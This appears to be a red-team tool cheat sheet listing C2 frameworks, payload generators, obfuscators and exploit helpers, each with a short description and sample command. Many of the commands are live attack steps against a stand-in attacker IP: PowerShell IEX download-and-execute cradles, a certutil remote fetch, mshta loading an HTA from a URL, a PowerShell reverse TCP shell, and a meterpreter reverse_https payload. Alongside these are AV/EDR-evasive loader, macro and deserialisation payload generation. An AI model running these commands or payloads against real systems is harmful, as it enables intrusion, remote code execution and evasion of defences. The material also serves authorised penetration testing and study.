Tools

Newer open-source, extensible C2 framework with a Java teamserver/GUI client and BOF support, positioned as a free adversary-simulation platform.

Commercial adversary-simulation C2 built specifically around EDR/AV evasion (badger implants, custom syscall stubs); frequently referenced alongside Cobalt Strike in red team tradecraft discussions.

Generates JS/VBS/HTA payloads that use DotNetToJScript to load a .NET assembly and shellcode directly into memory from a script host.

Automates detection and exploitation of OS command-injection vulnerabilities in web parameters, the command-injection equivalent of sqlmap.

commix --url="https://target.tld/ping?host=127.0.0.1"

.NET C2 framework with a web-based teamserver, used to showcase and test .NET tradecraft and AMSI/ETW evasion techniques against Windows targets.

certutil doubles as a portable base64 decoder, useful when nothing else on the box will decode a payload.

certutil -decode encoded.b64 decoded.exe

Go-based, open-source C2 framework with a web UI, aimed at giving smaller red teams a free alternative to commercial platforms.

Generates HTA payloads that decrypt in-browser, defeating static-file AV scanning that never executes the page's own script.

python demiguise.py -f meter.hta -o out.hta -e something.js

Converts a .NET assembly, PE, VBS or PowerShell script into position-independent shellcode that can be injected into any Windows process, a common last-mile step in loader chains.

donut -i implant.exe -o loader.bin

Uses the built-in, code-signed certutil.exe to fetch a remote file without touching PowerShell, a classic LOLBAS download technique.

certutil.exe -urlcache -split -f http://10.10.14.7/payload.exe payload.exe

Post-exploitation and C2 framework (PowerShell/Python/C# agents) maintained by BC Security after the original PowerShell Empire project was discontinued; ships with a large stager and module library.

./ps-empire server

Crafts malicious MS Office documents — hides VBA macros, tricks analysis tools that assume Windows-only olevba parsing, and stomps VBA p-code to hide source from AV.

EvilClippy.exe -s fake_macro.vba template.xls

Interactive PowerShell obfuscation framework — token, string, encoding and launcher obfuscation layers stacked together to evade signature detection.

Invoke-Obfuscation

JScript/VBScript-based C2 ("COM Command & Control") that lives almost entirely off Windows Script Host, useful for living-off-the-land style tradecraft demos.

python2 koadic.py

Automates generating obfuscated Office macros, VBS, HTA and other MS Office payloads for phishing-based initial access simulations.

macro_pack.exe -t GENERATE -G payload.doc -o -f script.vba

Rust/Go C2 framework with a web management panel, generating implants for Windows and Linux; documented as active in real intrusions as well as red team use.

Cross-platform Go-based C2 that leans on HTTP/2, HTTP/3 and QUIC transports to blend into modern web traffic.

go run cmd/merlinserver/main.go -i

The world's most widely used penetration-testing framework — thousands of exploit and auxiliary modules, a scriptable console, and Meterpreter as its post-exploitation payload.

msfconsole -q -x "use exploit/multi/handler; run"

Long-running collection of offensive PowerShell scripts covering reverse/bind shells, keylogging, privesc checks and post-exploitation, widely used to seed C2 payload development.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 4444

A USB charge/data cable with a hidden implant for keystroke injection and Wi-Fi-controlled payload delivery, built to look and function like an ordinary cable.

Finds single-address "one gadget RCE" offsets inside a given libc that pop a shell if a small set of register/memory constraints happen to hold — a pwn-exploit shortcut.

one_gadget ./libc.so.6

A huge, actively maintained collection of payloads and bypass techniques for practically every vulnerability class — the reference every web pentester keeps a tab open to.

The canonical one-page reference of reverse shell one-liners in every language likely to be sitting on a compromised box — old, still correct, still bookmarked by everyone.

Proxy-aware C2 framework built around PowerShell and C# implants, with built-in modules for AD enumeration and lateral movement.

poshc2 -q default

A newer download cradle using Invoke-WebRequest, worth knowing since not every host still has the legacy WebClient path available.

powershell -c "IEX (Invoke-WebRequest -UseBasicParsing http://10.10.14.7/script.ps1).Content"

The classic fileless download-and-execute one-liner: fetches a script into memory and runs it without writing to disk.

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7/script.ps1')"

Cross-platform (Windows/Linux/macOS/Android) open-source RAT and post-exploitation tool with a Python-based, reflectively-injected agent.

Web-based reverse shell generator covering many languages/encodings at once, auto-filling your IP/port and offering URL-encoding and MSFVenom variants without hand-editing a template.

Scans a binary for usable ROP/JOP gadgets and can auto-build a full ROP chain — the standard first step once a pwn challenge needs code reuse instead of shellcode.

ROPgadget --binary ./chall --ropchain

Gadget finder and ROP-chain builder similar to ROPgadget, with its own semantic gadget search (e.g. "pop rdi; ret") across ELF/PE/Mach-O.

ropper --file ./chall --search "pop rdi"

mshta.exe executes HTML Application files straight off a URL, one of the most common LOLBAS initial-execution paths.

mshta.exe http://10.10.14.7/payload.hta

cscript.exe and wscript.exe execute .js/.vbs files directly, still the delivery mechanism behind a lot of commodity phishing payloads.

cscript.exe //nologo payload.vbs

Payload creation framework that wraps shellcode in a signed, EDR-evasive loader using techniques such as syscall unhooking and process herpaderping.

ScareCrow -I beacon.bin -Loader binary -domain -O beacon.exe

MDSec payload generation framework producing JS, VBS, HTA and macro payloads with staged/stageless delivery, sandbox-evasion and DotNetToJScript-style execution.

python SharpShooter.py --stageless -o out --dotnetver 4 --com --output raw

Post-exploitation C2 using IronPython/.NET (BoO — "Bring your Own Interpreter") to dodge signature-based detection of PowerShell and classic .NET loaders.

Generates a PowerShell downgrade-attack payload (magic unicorn) that bypasses application whitelisting and injects shellcode straight into memory.

python3 unicorn.py windows/meterpreter/reverse_https 10.10.14.7 443

Terminal-based C2 for managing and pivoting between multiple reverse/bind shells over HoaxShell-style HTTP payloads, with shell sharing between attacker machines.

python3 Villain.py

A cross-site scripting detection suite that fuzzes parameters with a context-aware payload generator, rather than firing a static payload list at everything.

python3 xsstrike.py -u "https://target.tld/search?q=test"

Generates payloads that exploit unsafe Java object deserialization across a wide range of common libraries — the standard reference tool for Java deserialisation attacks.

java -jar ysoserial.jar CommonsCollections6 "id" > payload.bin